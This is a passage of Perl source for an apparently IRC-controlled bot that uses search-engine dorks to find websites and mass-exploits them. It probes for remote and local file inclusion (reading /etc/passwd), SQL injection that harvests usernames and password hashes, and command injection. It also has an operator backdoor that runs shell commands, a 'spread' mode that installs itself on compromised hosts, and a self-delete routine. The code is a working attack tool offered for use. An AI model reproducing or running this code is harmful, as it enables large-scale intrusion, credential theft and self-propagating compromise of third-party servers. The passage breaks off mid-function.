    my $l = -1;
    while ($re =~ m/<title>(.+?)<\/title>/g){
        my $title = $1;  $title =~ s/\&lt\;/</g;
        if ($title !~ /milw0rm/) {
            push(@ttot,$title);
        }
    }
    while ($re =~ m/<link>(.+?)<\/link>/g) {
        my $link = $1;
        if ($link !~ /http:\/\/milw0rm.com\//) {
            push(@ltot,$link);
        }
    }
    writ1("15,1[+] 4,1Last Milw0rm bugs:");
    foreach my $n(@ttot){
        $l++;
        writ1("15,1[+] 9,1$n4,1 -11,1 $ltot[$l]");
    }
}
 
sub bug_update() {
    my $kind = $_[0];
    if ($kind =~ /rfi/) {
        my @re = query("nostrosito"); #Put here a link in .txt with a list of bugs
        writ1("15,1[+] 9,1Last 10 RFI bugs:");
        foreach my $n(@re) {
            writ1(" 9,1$n ");
        }
    }
    elsif ($kind =~ /lfi/) {
        my @re = query("nostrosito"); #Put here a link in .txt with a list of bugs
        writ1("15,1[+] 9,1Last 10 LFI bugs:");
        foreach my $n(@re) {
            writ1(" 9,1$n ");
        }
    }
    elsif ($kind =~ /sql/) {
        my @re = query("nostrosito"); #Put here a link in .txt with a list of bugs
        writ1("15,1[+] 9,1Last 10 SQL-INJ bugs:");
        foreach my $n(@re) {
            writ1(" 9,1$n ");
        }
    }
    elsif ($kind =~ /rce/) {
        my @re = query("nostrosito"); #Put here a link in .txt with a list of bugs
        writ1("15,1[+] 9,1Last 10 RCE bugs:");
        foreach my $n (@re) {
            writ1(" 9,1$n ");
        }
    }
}
 
sub chid() {
    my $nick = $_[0];
    my $newid = $_[1];
    my $reply = $_[2];
    my $val = admin($nick);
    if ($val == 1) {
        $id = $newid;
        if ($reply =~ /a/) {
            pm($nick, "15,1[+] 9,1New RFI Response: $id");
        }
        writ1("15,1[+] 9,1RFI Response changed !");
        writ1("15,1[+] 9,1New RFI Response: $id");
    }
    else {
        pm($nick,"4,1[!] You are not authorized to execute this command!");
    }
}
 
sub killme() {
    my $nick = $_[0];
    my $reply = $_[1];
    my $val = admin($nick);
    if ($reply =~ /a/) {
        if ($val == 1) {
            pm($nick, "15,1[!] 12,4Bye Bye !");
            writ1("15,1[!] 12,4Bye Bye !");
            print $c0n "QUIT";
            exec("perl rm.txt && pkill perl \n");
        }
    }
    else {
        if ($val == 1) {
            writ1("15,1[!] 12,4Bye Bye !");
            print $c0n "QUIT";
            exec("perl rm.txt && pkill perl \n"); 
        }
        else {
            writ1("4,1[!] You are not authorized to execute this command!");
        }
    }
}
 
sub ch_admin() {
    @admins;
    my $command = $_[0];
    my $nick = $_[1];
    my $nick2 = $_[2];
    my $mode = $_[3];
    my $val = admin($nick);
    if ($val == 1) {
        if ($command =~ /add/) {
            if ($mode =~ /a/) {
                pm($nick,"15,1[+] 12,9$nick2 added in the Admin List!!");
            }
            push(@admins, $nick2);
            writ1("15,1[+] 12,9$nick added $nick2 in the Admin List!!");
        }
        elsif ($command =~ /remove/) {
            $t_adm = scalar(@admins);
            foreach my $a(@admins){
                if ($a eq $nick2) {
                    $l = $t_adm +1;
                    $a = $a[$l];
                    $#admins = $t_adm;
                }
            }
            if ($mode =~ /a/) {
                pm($nick,"15,1[+] 12,9$nick2 removed from the Admin List!!");
            }
            writ1("15,1[+] 12,9$nick removed $nick2 from the Admin List!!");
        }
    }
    else {
        pm($nick,"4,1[!] You are not authorized to execute this command!");
    }
}
 
sub cmd() {
    my $nick = $_[0];
    my $cmd = $_[1];
    my $reply = $_[2];
    my $val = admin($nick);
    if ($val == 1) {
        if ($reply =~ /a/) {
            if ($cmd =~ /cd (.*)/) {
                chdir($1) || pm($nick,"Can't change dir");
                #return;
            }
            my @output = `$cmd`;
            my $count = 0;
            foreach my $out(@output) {
                $count++;
                if ($count == 10) {
                    sleep(3);
                    $count = 0;
                }
                pm($nick,"15,1[+] 7,1$out");
            }
        }
        else {
            if ($cmd =~ /cd (.*)/) {
                chdir($1) || writ1("Can't change dir");
                #return;
            }
            my @output = `$cmd`;
            my $count = 0;
            foreach my $out(@output) {
                $count++;
                if ($count == 10) {
                    sleep(3);
                    $count = 0;
                }
                writ1("15,1[+] 7,1$out ");
            }
        }
    }
    else {
        pm($nick,"4,1[!] You are not authorized to execute this command!");
    }
}
 
sub sec() {
    my $nick = $_[0];
    my $mode = $_[1];
    my $val = admin($nick);
    if ($val == 1) {
        if ($mode =~ /ON/) {
            $securityACT = 1;
            sleep(2);
            pm($nick,"15,1[+] 12,9Security Mode Activated !!");
            writ1("15,1[+] 12,9Security Mode Activated !!");
        }
        elsif ($mode =~ /OFF/) {
            $securityACT = 0;
            sleep(2);
            pm($nick,"15,1[+] 12,4Security Mode Disabled !!");
            writ1("15,1[+] 12,4Security Mode Disabled !!");
        }
    }
}
 
sub spread() {
    my $nick = $_[0];
    my $mode = $_[1];
    my $reply = $_[2];
    my $val = admin($nick);
    if ($val == 1) {
        if ($mode =~ /ON/) {
            $spreadACT = 1;
            sleep(2);
            if ($reply =~ /a/) {
                pm($nick, "15,1[+] 12,9Spread Mode Activated !!");
            }
            writ1("15,1[+] 12,9Spread Mode Activated !!");
        }
        elsif ($mode =~ /OFF/) {
            $spreadACT = 0;
            sleep(2);
            if ($reply =~ /a/) {
                pm($nick, "15,1[+] 12,4Spread Mode Disabled !!");
            }
            writ1("15,1[+] 12,4Spread Mode Disabled !!");
        }
    }
    else {
        pm($nick,"4,1[!] You are not authorized to execute this command!");
    }
}
 
sub sspread() {
    my $nick = $_[0];
    my $host = $_[1];
    my $val = admin($nick);
    if ($val == 1) {
        my $host =~ s/http:\/\///;
        writ1("15,1[+] 9,1Trying to spread on $host ..");
        my $tspread = "http://".$host.$spread."?";
        &query($tspread);
    }
    else {
        writ1("4,1[!] You are not authorized to execute this command!");
    }
}
 
sub rfi_cheek() {
    my $bug = $_[0];
    my $dork = $_[1];
    my $rfipid = $_[2];
    my $chek = $_[3];
    my $nick = $_[4];
    if ($chek =~ /j/) {
        &rfi_scan($bug, $dork, $rfipid);
    }
    elsif ($chek =~ /s/) {
        my $val = admin($nick);
        if ($val == 1) {
            &rfi_scan($bug, $dork, $rfipid);
        }
        else {
            writ1("4,1[!] You are not authorized to execute this command!");
        }
    }
}
 
sub rfi_scan() {
    my $bug = $_[0];
    my $dork = $_[1];
    my $rfipid = $_[2];
    writ1("4,1[*] 9,1RFI Scan started -> $rfipid sites/process");
    writ1("9,1[+] Bug: $bug");
    $d0rk = clean($dork);
    writ1("4,1[+] Dork: $d0rk");
    my $a    = $k . "a";
    my $n4me = $a . "siti.txt";
    find($d0rk, $n4me);
    rfi($bug, $n4me, $d0rk, $rfipid);
    writ1("4,1[-] RFI Scan finished 9,1 >15,1 $d0rk");
    writ1("11,1[�] # Coded by Osirys");
    exit(0);
}
 
sub lfi_cheek() {
    my $bug = $_[0];
    my $dork = $_[1];
    my $chek = $_[2];
    my $nick = $_[3];
    if ($chek =~ /j/) {
        &lfi_scan($bug, $dork);
    }
    elsif ($chek =~ /s/) {
        my $val = admin($nick);
        if ($val == 1) {
            &lfi_scan($bug, $dork);
        }
        else {
            writ1("4,1[!] You are not authorized to execute this command!");
        }
    }
}
 
sub lfi_scan() {
    my $bug = $_[0];
    my $dork = $_[1];
    writ1("4,1[*] 7,1LFI Scan started ");
    writ1("9,1[+] Bug: $bug");
    $d0rk = clean($dork);
    writ1("4,1[+] Dork: $d0rk");
    my $b    = $k . "b";
    my $n4me = $b . "siti.txt";
    find($d0rk, $n4me);
    lfi($bug, $n4me, $d0rk);
    writ1("4,1[-] LFI Scan finished 9,1 >15,1 $d0rk");
    writ1("11,1[�] # Coded by Osirys");
    exit(0);
}
 
sub sql_cheek() {
    my $bug = $_[0];
    my $dork = $_[1];
    my $sqlpid = $_[2];
    my $chek = $_[3];
    my $nick = $_[4];
    if ($chek =~ /j/) {
        &sql_scan($bug, $dork, $sqlpid);
    }
    elsif ($chek =~ /s/) {
        my $val = admin($nick);
        if ($val == 1) {
            &sql_scan($bug, $dork, $sqlpid);
        }
        else {
            writ1("4,1[!] You are not authorized to execute this command!");
        }
    }
}
 
sub sql_scan() {
    my $bug = $_[0];
    my $dork = $_[1];
    my $sqlpid = $_[2];
    writ1("4,1[*] 15,1SQL Inj Scan started -> $sqlpid sites/process");
    writ1("9,1[+] Bug: $bug");
    $d0rk = clean($dork);
    writ1("4,1[+] Dork: $d0rk");
    my $c    = $k . "c";
    my $n4me = $c . "siti.txt";
    find($d0rk, $n4me);
    sql($bug, $n4me, $d0rk, $sqlpid);
    writ1("4,1[-] SQL Scan finished 9,1 >15,1 $d0rk");
    writ1("11,1[�] # Coded by Osirys");
    exit(0);
}
 
sub rce_cheek() {
    my $bug = $_[0];
    my $dork = $_[1];
    my $rcepid = $_[2];
    my $chek = $_[3];
    my $nick = $_[4];
    if ($chek =~ /j/) {
        &rce_scan($bug, $dork, $rcepid);
    }
    elsif ($chek =~ /s/) {
        my $val = admin($nick);
        if ($val == 1) {
            &rce_scan($bug, $dork, $rcepid);
        }
        else {
            writ1("4,1[!] You are not authorized to execute this command!");
        }
    }
}
 
sub rce_scan() {
    my $bug = $_[0];
    my $dork = $_[1];
    my $rcepid = $_[2];
    writ1("4,1[*] 0,12RCE Scan started -> $sqlpid sites/process");
    writ1("9,1[+] Bug: $bug");
    $d0rk = clean($dork);
    writ1("4,1[+] Dork: $d0rk");
    my $c    = $k . "c";
    my $n4me = $c . "siti.txt";
    find($d0rk, $n4me);
    rce($bug, $n4me, $d0rk, $sqlpid);
    writ1("4,1[-] RCE Scan finished 9,1 >15,1 $d0rk");
    writ1("11,1[�] # Coded by Osirys");
    exit(0);
}
 
sub mass_cheek() {
    my $kind = $_[0];
    my $bug = $_[1];
    my $dork = $_[2];
    my $mpid = $_[3];
    my $chek = $_[4];
    my $nick = $_[5];
    if ($chek =~ /j/) {
        &mass_scan($kind, $bug, $dork, $mpid);
    }
    elsif ($chek =~ /s/) {
        my $val = admin($nick);
        if ($val == 1) {
            &mass_scan($kind, $bug, $dork, $mpid);
        }
        else {
            writ1("4,1[!] You are not authorized to execute this command!");
        }
    }
}
 
sub mass_scan() {
    my $kind = $_[0];
    my $bug = $_[1];
    my $dork = $_[2];
    my $mpid = $_[3];
    my @engine;
    my $c = $k."MASS";
    my $n4me = $c."siti.txt";
    my $g = $k."G";   my $a = $k."A";   my $y = $k."Y";   my $m = $k."M";
    my $gname = $g."siti.txt";
    my $aname = $a."siti.txt";
    my $yname = $y."siti.txt";
    my $mname = $m."siti.txt";
    my $gtest = ("www.google.com/search?q=hi&hl=en&start=10&sa=N");
    my $ytest = ("http://it.search.yahoo.com/search?p=ciao&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vd=all&vst=0&vf=all&vm=r&fl=0&fr=yfp-t-501&pstart=1&b=0");
    my $re = query1($gtest);  my $re2 = query($ytest);
    if (($re !~ /Google Home/)&&($re2 !~ /<p>1 - 100 di circa/)) {
        writ1("4,1[*] 12,1MASS[9,1$kind12,1] SCAN STARTED ON ALLTHEWEB/MSN (Google&Yahoo banned) -> $mpid sites/process");
        writ1("9,1[+] Bug: $bug");
        writ1("4,1[+] Dork: $dork");
        $engine[0] = fork();
        if ($engine[0] == 0) {
            &M_Super($dork, $mname);
            exit(0);
        }
        $engine[1] = fork();
        if ($engine[1] == 0) {
            &A_Super($dork, $aname);
            exit(0);
        }
        foreach my $e(@engine){
            waitpid($e,0);
        }
        open($file, ">>", $n4me);  open(Alltheweb,"<",$aname);  open(Msn,"<",$mname);
        foreach my $e(<Alltheweb>){
            print $file "$e\n";
        }
        foreach my $e(<Msn>){
            print $file "$e\n";
        }
        close(Alltheweb);  close(Msn);  close($file);
        remove($aname,$mname);
    }
    elsif (($re =~ /Google Home/)&&($re2 !~ /<p>1 - 100 di circa/)) {
        writ1("4,1[*] 12,1MASS[9,1$kind12,1] SCAN STARTED ON GOOGLE/ALLTHEWEB/MSN (Yahoo banned) -> $mpid sites/process");
        writ1("9,1[+] Bug: $bug");
        writ1("4,1[+] Dork: $dork");
        $engine[0] = fork();
        if ($engine[0] == 0) {
            &G_Super($dork, $gname);
            exit(0);
        }
        $engine[1] = fork();
        if ($engine[1] == 0) {
            &M_Super($dork, $mname);
            exit(0);
        }
        $engine[2] = fork();
        if ($engine[2] == 0) {
            &A_Super($dork, $aname);
            exit(0);
        }
        foreach my $e(@engine){
            waitpid($e,0);
        }
        open($file, ">>", $n4me);  open(Google,"<",$gname);  open(Alltheweb,"<",$aname);  open(Msn,"<",$mname);
        foreach my $e(<Google>){
            print $file "$e\n";
        }
        foreach my $e(<Alltheweb>){
            print $file "$e\n";
        }
        foreach my $e(<Msn>){
            print $file "$e\n";
        }
        close(Alltheweb);  close(Google);  close(Msn);  close($file);
        remove($gname,$aname,$mname);
    }
    elsif (($re !~ /Google Home/)&&($re2 =~ /<p>1 - 100 di circa/)) {
        writ1("4,1[*] 12,1MASS[9,1$kind12,1] SCAN STARTED ON ALLTHEWEB/YAHOO/MSN (Google banned) -> $mpid sites/process");
        writ1("9,1[+] Bug: $bug");
        writ1("4,1[+] Dork: $dork");
        $engine[0] = fork();
        if ($engine[0] == 0) {
            &Y_Super($dork, $yname);
            exit(0);
        }
        $engine[1] = fork();
        if ($engine[1] == 0) {
            &M_Super($dork, $mname);
            exit(0);
        }
        $engine[2] = fork();
        if ($engine[2] == 0) {
            &A_Super($dork, $aname);
            exit(0);
        }
        foreach my $e(@engine){
            waitpid($e,0);
        }
        open($file, ">>", $n4me);  open(Yahoo,"<",$yname);  open(Alltheweb,"<",$aname);  open(Msn,"<",$mname);
        foreach my $e(<Yahoo>){
            print $file "$e\n";
        }
        foreach my $e(<Alltheweb>){
            print $file "$e\n";
        }
        foreach my $e(<Msn>){
            print $file "$e\n";
        }
        close(Alltheweb);  close(Yahoo);  close(Msn);  close($file);
        remove($yname,$aname,$mname);
    }
    elsif (($re =~ /Google Home/)&&($re2 =~ /<p>1 - 100 di circa/)) {
        writ1("4,1[*] 12,1MASS[9,1$kind12,1] SCAN STARTED ON GOOGLE, ALLTHEWEB, YAHOO, MSN -> $mpid sites/process");
        writ1("9,1[+] Bug: $bug");
        writ1("4,1[+] Dork: $dork");
        $engine[0] = fork();
        if ($engine[0] == 0) {
            &G_Super($dork, $gname);
            exit(0);
        }
        $engine[1] = fork();
        if ($engine[1] == 0) {
            &Y_Super($dork, $yname);
            exit(0);
        }
        $engine[2] = fork();
        if ($engine[2] == 0) {
            &M_Super($dork, $mname);
            exit(0);
        }
        $engine[3] = fork();
        if ($engine[3] == 0) {
            &A_Super($dork, $aname);
            exit(0);
        }
        foreach my $e(@engine){
            waitpid($e,0);
        }
        open($file, ">>", $n4me);  open(Google,"<", $gname);  open(Yahoo,"<",$yname);  open(Alltheweb,"<",$aname);  open(Msn,"<",$mname);
        foreach my $e(<Google>){
            print $file "$e\n";
        }
        foreach my $e(<Alltheweb>){
            print $file "$e\n";
        }
        foreach my $e(<Yahoo>){
            print $file "$e\n";
        }
        foreach my $e(<Msn>){
            print $file "$e\n";
        }
        close(Alltheweb);  close(Yahoo);  close(Google);  close(Msn);  close($file);
        remove($yname,$aname,$gname,$mname);
    }
    foreach my $e(@engine){
        waitpid($e,0);
    }
    sleep(5);
    if ($kind =~ /rfi/) {
        rfi($bug, $n4me, $dork, $mpid);
    }
    elsif ($kind =~ /lfi/) {
        lfi($bug, $n4me, $dork);
    }
    elsif ($kind =~ /sql/) {
        sql($bug, $n4me, $dork, $mpid);
    }
    elsif ($kind =~ /rce/) {
        rce($bug, $n4me, $dork, $mpid);
    }
    writ1("4,1[-] 12,1MASS[9,1$kind12,1] SCAN FINESHED 9,1 >15,1 $dork");
    writ1("11,1[�] # Coded by Osirys ");
    exit(0);
}
 
sub find() {
    my $dork = $_[0];
    my $name = $_[1];
    my @engine;
    $engine[0] = fork();
    if ($engine[0] == 0) {
       my @lycos = lycos($dork,$name);
        writ1("9,1[~] 7,1>LYCOS : 11,1 ".scalar(@lycos)." 9,1 > 15,1 $dork");
        exit(0);
    }
    $engine[1] = fork();
   if ($engine[1] == 0) {
        my @msn = msn($dork, $name);
        writ1("9,1[~] 7,1>MSN : 11,1 ". scalar(@msn). " 9,1 > 15,1 $dork");
        exit(0);
    }
    $engine[2] = fork();
    if ($engine[2] == 0) {
        my @yahoo = yahoo($dork, $name);
        writ1("9,1[~] 7,1>YAHOO : 11,1 ". scalar(@yahoo). " 9,1 > 15,1 $dork");
        exit(0);
    }
    $engine[3] = fork();
    if ($engine[3] == 0) {
        my @google = google($dork, $name);
        writ1("9,1[~] 7,1>GOOGLE : 11,1 ". scalar(@google). " 9,1 > 15,1 $dork");
        exit(0);
    }
    $engine[4] = fork();
    if ($engine[4] == 0) {
        my @allthewebe = alltheweb($dork, $name);
        writ1("9,1[~] 7,1>ALLTHEWEB : 11,1 ". scalar(@allthewebe). " 9,1 > 15,1 $dork");
        exit(0);
    }
    $engine[5] = fork();
    if ($engine[5] == 0) {
        my @virgilio = virgilio($dork, $name);
        writ1("9,1[~] 7,1>VIRGILIO : 11,1 ". scalar(@virgilio). " 9,1 > 15,1 $dork");
        exit(0);
    }
    $engine[6] = fork();
    if ($engine[6] == 0) {
        my @altavista = altavista($dork, $name);
        writ1("9,1[~] 7,1>ALTAVISTA : 11,1 ". scalar(@altavista). " 9,1 > 15,1 $dork");
        exit(0);
    }
    $engine[7] = fork();
    if ($engine[7] == 0) {
        my @ask = ask($dork, $name);
        writ1("9,1[~] 7,1>ASK : 11,1 ". scalar(@ask). " 9,1 > 15,1 $dork");
        exit(0);
    }
    $engine[8] = fork();
    if ($engine[8] == 0) {
        my @webde = webde($dork,$name);
        writ1("9,1[~] 7,1>WEB.DE : 11,1 ". scalar(@webde). " 9,1 > 15,1 $dork");
        exit(0);
    }
    $engine[9] = fork();
    if ($engine[9] == 0) {
       my @uol = uol($dork,$name);
       writ1("9,1[~] 7,1>UOL : 11,1 ".scalar(@uol)." 9,1 > 15,1 $dork");
        exit(0);
    }
   $engine[10] = fork();
   if ($engine[10] == 0) {
        my @abacho = abacho($dork,$name);
        writ1("9,1[~] 7,1>ABACHO : 11,1 ".scalar(@abacho)." 9,1 > 15,1 $dork");
        exit(0);
    }
    foreach my $e(@engine){
        waitpid($e,0);
    }
 
}
 
sub rfi() {
    my $bug  = $_[0];
    my $name = $_[1];
    my $dork = $_[2];
    my $rfipid = $_[3]; 
    my @forks;
    my $num = 0;
    open($file, "<", $name);
    while (my $a = <$file>) {
        $a =~ s/\n//g;
        push(@tot,$a);
    }
    close($file);
    remove($name);
    my @toexploit = unici(@tot);
    writ1("9,1[*] 4,1>EXPLOITABLES:   11,1 ".scalar(@toexploit)."   15,1 $dork");
    sleep(1);
    writ1("4,1[+] 9,1ExPLoItIng STARTED !! ");
    foreach my $site(@toexploit) {
        my $test  = "http://".$site.$bug.$id."??";
        $count++;
        if ($count % $rfipid == 0) {
            foreach my $f(@forks){
                waitpid($f,0);
            }
            $num = 0;
        }
        if($count %100 == 0){
            writ1("9,1[%] 15,1 _/ 11,1Exploiting   4,1 ".$count." 11,1 / 4,1 ".scalar(@toexploit)." ");
        }
        $forks[$num]=fork();
        if($forks[$num] == 0){
            my $test  = "http://".$site.$bug.$id."??";
            my $print = "http://".$site.$bug.$shell."?";
            my $re    = query($test);
            if ($re =~ /Osirys/ && $re =~ /uid=/) {
                os($test);
                writ1("12(12,9safe: OFF12) (12,9os: $os12) 12,9$print");
                writ1("12(12,9uname -a12) 12 $un");
                writ1("12(12,9uid / gid12) 12 $id1");
                writ1("12(12,9hdd space12) 12 free: ($free) used: ($used) tot: ($all)");
                writ2("");
                writ2("12(12,9safe: OFF12) (12,9os: $os12) 12,9$print");
                writ2("12(12,9uname -a12) 12 $un 12(12,9uid12)12 $id1");
                if ($spreadACT == 1) {
                    writ1("15,1[+] 9,1Trying to spread ..");
                    sleep(2);
                    my $test2 = "http://".$site.$bug.$spread."?";
                    &query($test2);
                }
            }
            elsif ($re =~ /Osirys/) {
                os($test);
                writ1("12(12,4safe: ON12) (12,4os: $os12) 12,4$print");
                writ1("12(12,4uname -a12) 12 $un");
                writ1("12(12,4hdd space12) 12 free: ($free) used: ($used) tot: ($all)");
                writ2("");
                writ2("12(12,4safe: ON12) (12,4os: $os12) 12,4$print");
                if ($spreadACT == 1) {
                    writ1("15,1[+] 9,1Trying to spread ..");
                    sleep(2);
                    my $test2 = "http://".$site.$bug.$spread."?";
                    &query($test2);
                }
            }
            exit(0);
        }
        $num++;
    }
    foreach my $f(@forks){
        waitpid($f,0);
    }
}
 
sub lfi() {
    my $bug  = $_[0];
    my $name = $_[1];
    my $dork = $_[2];
    my @forks;
    my $num = 0;
    open($file, "<", $name);
    while (my $a = <$file>) {
        $a =~ s/\n//g;
        push(@tot, $a);
    }
    close($file);
    remove($name);
    my @toexploit = unici(@tot);
    writ1("9,1[*] 4,1>EXPLOITABLES:   11,1 ".scalar(@toexploit)."   15,1 $dork");
    writ1("4,1[+] 9,1ExPLoItIng STARTED !! ");
    foreach my $site(@toexploit) {
        $count++;
        if ($count % 100 == 0) {
            foreach my $f(@forks){
                waitpid($f,0);
            }
            $num = 0;
        }
        if ($count % 300 == 0) {
            writ1("9,1[%] 15,1 _/ 11,1Exploiting   4,1 ".$count." 11,1 / 4,1 ".scalar(@toexploit)." ");
        }
        $forks[$num]=fork();
        if($forks[$num] == 0){
            my $inj   = "../../../../../../../../../../../../../etc/passwd%00";
            my $test  = "http://".$site.$bug.$inj;
            my $print = "http://".$site.$bug.$inj;
            my $re    = query($test);
            if ($re =~ /root:x:/) {
                writ1("7(7,1LFI7) 9,1$print");
                writ2("7(7,1LFI7) 9,1$print");
            }
            exit(0);
        }
        $num++;
    }
    foreach my $f(@forks){
        waitpid($f,0);
    }
}
 
sub sql() {
    my $bug  = $_[0];
    my $name = $_[1];
    my $dork = $_[2]; 
    my $sqlpid = $_[3]; 
    my @forks;
    my $num = 0;
    open($file, "<", $name);
    while (my $a = <$file>) {
        $a =~ s/\n//g;
        push(@tot,$a);
    }
    close($file);
    remove($name);
    my @toexploit = unici(@tot);
    writ1("9,1[*] 4,1>EXPLOITABLES:   11,1 ".scalar(@toexploit)."   15,1 $dork");
    writ1("4,1[+] 9,1ExPLoItIng STARTED !! ");
    foreach my $site(@toexploit) {
        my $test  = "http://".$site.$bug; print "$test\n";
        $count++;
        if($count %$sqlpid == 0){
            foreach my $f(@forks){
                waitpid($f,0);
            }
            $num = 0;
        }
        if($count %100 == 0){
            writ1("9,1[%] 15,1 _/ 11,1Exploiting   4,1 ".$count." 11,1 / 4,1 ".scalar(@toexploit)." ");
        }
        $forks[$num]=fork();
        if($forks[$num] == 0){
            my $test  = "http://".$site.$bug;
            my $print = "http://".$site.$bug;
            my $re    = query($test);
            if ($re =~ m/\>([0-9,a-z]{2,13}):([0-9,a-f]{32})/g) {
                my ($user,$hash) = ($1,$2);
                if ($sqlpid == $sqlpidpr0c) {
                    writ1("9(9,12SQL INJ9) 15,12$print");
                    writ1("9(9,12User9) 15,12$user");
                    writ1("9(9,12Hash9) 15,12$hash");
                    writ2("9(9,12SQL INJ9) 15,12$print");
                }
                elsif  ($sqlpid > $sqlpidpr0c) {
                    writ1("9(9,12SQL INJ9) 15,12$print");
                }
            }
            elsif ($re =~ m/:(.*)([0-9,a-f]{32})/g) { 
                my ($user,$hash) = ($1,$2);
                $user =~ s/\<(.*)\>//g;
                if ($user !~ /(\/|\<|\>|\")/) {
                    if ($sqlpid == $sqlpidpr0c) {
                        writ1("9(9,12SQL INJ9) 15,12$print");
                        writ1("9(9,12User9) 15,12$user");
                        writ1("9(9,12Hash9) 15,12$hash");
                        writ2("9(9,12SQL INJ9) 15,12$print");
                    }
                    elsif ($sqlpid > $sqlpidpr0c) {
                        writ1("9(9,12SQL INJ9) 15,12$print");
                    }
                }
            }
            elsif ($re =~ m/\"option\"><b>(.*)([0-9,a-f]{32})/g) {
                my ($user,$hash) = ($1,$2);
                $user =~ s/<(.*)>//g;
                $user =~ s/<|>//g;
                if ($sqlpid == $sqlpidpr0c) {
                    writ1("9(9,12SQL INJ9) 15,12$print");
                    writ1("9(9,12User9) 15,12$user");
                    writ1("9(9,12Hash9) 15,12$hash");
                    writ2("9(9,12SQL INJ9) 15,12$print");
                }
                elsif  ($sqlpid > $sqlpidpr0c) {
                    writ1("9(9,12SQL INJ9) 15,12$print");
                }
            }
            exit(0);
        }
        $num++;
    }
    foreach my $f(@forks){
        waitpid($f,0);
    }
}
 
sub rce() {
    my $bug  = $_[0];
    my $name = $_[1];
    my $dork = $_[2];
    my $rcepid = $_[3];
    my @forks;
    my $num = 0;
    open($file, "<", $name);
    while (my $a = <$file>) {
        $a =~ s/\n//g;
        push(@tot, $a);
    }
    close($file);
    remove($name);
    my @toexploit = unici(@tot);
    writ1("9,1[*] 4,1>EXPLOITABLES:   11,1 ".scalar(@toexploit)."   15,1 $dork");
    writ1("4,1[+] 9,1ExPLoItIng STARTED !! ");
    foreach my $site(@toexploit) {
        $count++;
        if ($count % $rcepid == 0) {
            foreach my $f(@forks){
                waitpid($f,0);
            }
            $num = 0;
        }
        if ($count % 300 == 0) {
            writ1("9,1[%] 15,1 _/ 11,1Exploiting   4,1 ".$count." 11,1 / 4,1 ".scalar(@toexploit)." ");
        }
        $forks[$num]=fork();
        if($forks[$num] == 0){
            my $inj   = "|echo%20%22Osirys-p0wa%22;%20id|";
            my $inj1  = "|echo%20%22Osirys-p0wa%22;%20id";
            my $osinj = "|uname%20-a|";
            my $test  = "http://".$site.$bug.$inj;print "$test\n";
            my $test1 = "http://".$site.$bug.$inj1;
            my $os    = "http://".$site.$bug.$osinj;
            my $re    = query($test);
            my $re1   = query($test1);
            if ($re =~ /Osirys-p0wa/ && $re =~ /uid=(.+?) gid/) {
                rce_os($os);
                writ1("0(0,12RCE0) 0,12$test");
                writ1("0(0,12OS0) 0,12$un_rce");
                writ2("0(0,12RCE0) 0,12$test");
            }
            if ($re1 =~ /Osirys-p0wa/ && $re1 =~ /uid=(.+?) gid/) {
                rce_os($os);
                writ1("0(0,12RCE0) 0,12$test1");
                writ1("0(0,12OS0) 0,12$un_rce");
                writ2("0(0,12RCE0) 0,12$test1");
            }
            exit(0);
        }
        $num++;
    }
    foreach my $f(@forks){
        waitpid($f,0);
    }
}
 
sub G_Super() {
    my @domain  = ("at","com.au","com.br","ca","ch","cn","de","dk","es","fr","it","co.jp","com.mx","co.uk");
    my @langs   = ("de","en","br","en","de","cn","de","dk","es","fr","it","jp","es","en");
    my @country = ("AT","AU","BR","CA","CH","CN","DE","DK","ES","FR","IT","JP","MX","UK");
    my $dork = $_[0];
    my $fname = $_[1];
    my @forks;
    my $count = 0;
    my $dd = 0;
    my $l = 0;
    my $c = 0;
    foreach my $d(@domain) {
        if ($count % 1 == 0) {
            foreach my $f(@forks){
                waitpid($f,0);
            }
        }
        $forks[$count] = fork();
        if ($forks[$count] == 0) {
            for ($i=0;$i<=1000;$i+=100) {
                my $gsup = ("www.google.".$d."/search?q=".key($dork)."&num=100&hl=".$langs[$l]."&cr=country".$country[$c]."&as_qdr=all&start=".$i."&sa=N");
                my $re = query1($gsup);
                while ($re =~ m/<a href=\"http:\/\/(.+?)\" class=l/g) {
                    my $h = $1;
                    if ($h !~ /google|<|>/) {
                        push(@sgrep,$h);
                    }
                }
            }
            my @list = &fprint($fname,@sgrep);
            writ1("9,1[*] 4,1>GOOGLE[9,1".$domain[$dd]."4,1] : 11,1 ".scalar(@list)." 9,1 > 15,1 $dork");
            exit(0);
        }
        $l++;
        $c++;
        $count++;
        $dd++;
    }
    foreach my $f(@forks){
	waitpid($f,0);
    }
}
 
sub A_Super() {
    my $dork = $_[0];
    my @d00rk = ("at","com.au","com.br","ca","ch","cn","de","dk","es","fr","it","com.mx","co.uk");
    my $fname = $_[1];
    my @forks;
    my $count = 0;
    my $dd = 0;
    foreach my $d(@d00rk) {
        my $d0rk = "$dork domain:".$d00rk[$dd];
        if ($count % 1 == 0) {
            foreach my $f(@forks){
                waitpid($f,0);
            }
        }
        $forks[$count] = fork();
        if ($forks[$count] == 0) {
            for ($i=0;$i<=1000;$i+=100) {
                my $asup = ("http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q=".key($d0rk)."&o=".$i);
                my $re = query($asup);
                while ($re =~ m/<span class=\"resURL\">http:\/\/(.+?) <\/span>/g) {
                    my $h = $1;
                    if ($h !~ /youtube|wikipedia/) {
                        push(@sgrep,$h);
                    }
                }
            }
            my @list = &fprint($fname,@sgrep);
            writ1("9,1[*] 4,1>ALLTHEWEB[9,1".$d00rk[$dd]."4,1] : 11,1 ".scalar(@list)." 9,1 > 15,1 $dork");
            exit(0);
        }
        $count++;
        $dd++;
    }
    foreach my $f(@forks){
	waitpid($f,0);
    }
}
 
sub Y_Super() {
    my @domain  = ("at","au","br","ca","de","es","fr","it","uk");
    my $dork = $_[0];
    my $fname = $_[1];
    my @forks;
    my $count = 0;
    my $dd = 0;
    foreach my $d(@domain) {
        if ($count % 1 == 0) {
            foreach my $f(@forks){
                waitpid($f,0);
            }
        }
        $forks[$count] = fork();
        if ($forks[$count] == 0) {
            for ($i=0;$i<=1000;$i+=100) {
                my $ysup = ("http://".$d.".search.yahoo.com/search?p=".key($dork)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vd=all&vst=0&vf=all&vm=r&fl=0&fr=yfp-t-501&pstart=1&b=".$i);
                my $re = query($ysup);
                while ($re =~ m/<a class=\"yschttl\" href=\"http:\/\/(.+?)\" >/g) {
                    my $h = $1;
                    if ($h !~ /yahoo|<|>/) {
                        push(@sgrep,$h);
                    }
                }
            }
            my @list = &fprint($fname,@sgrep);
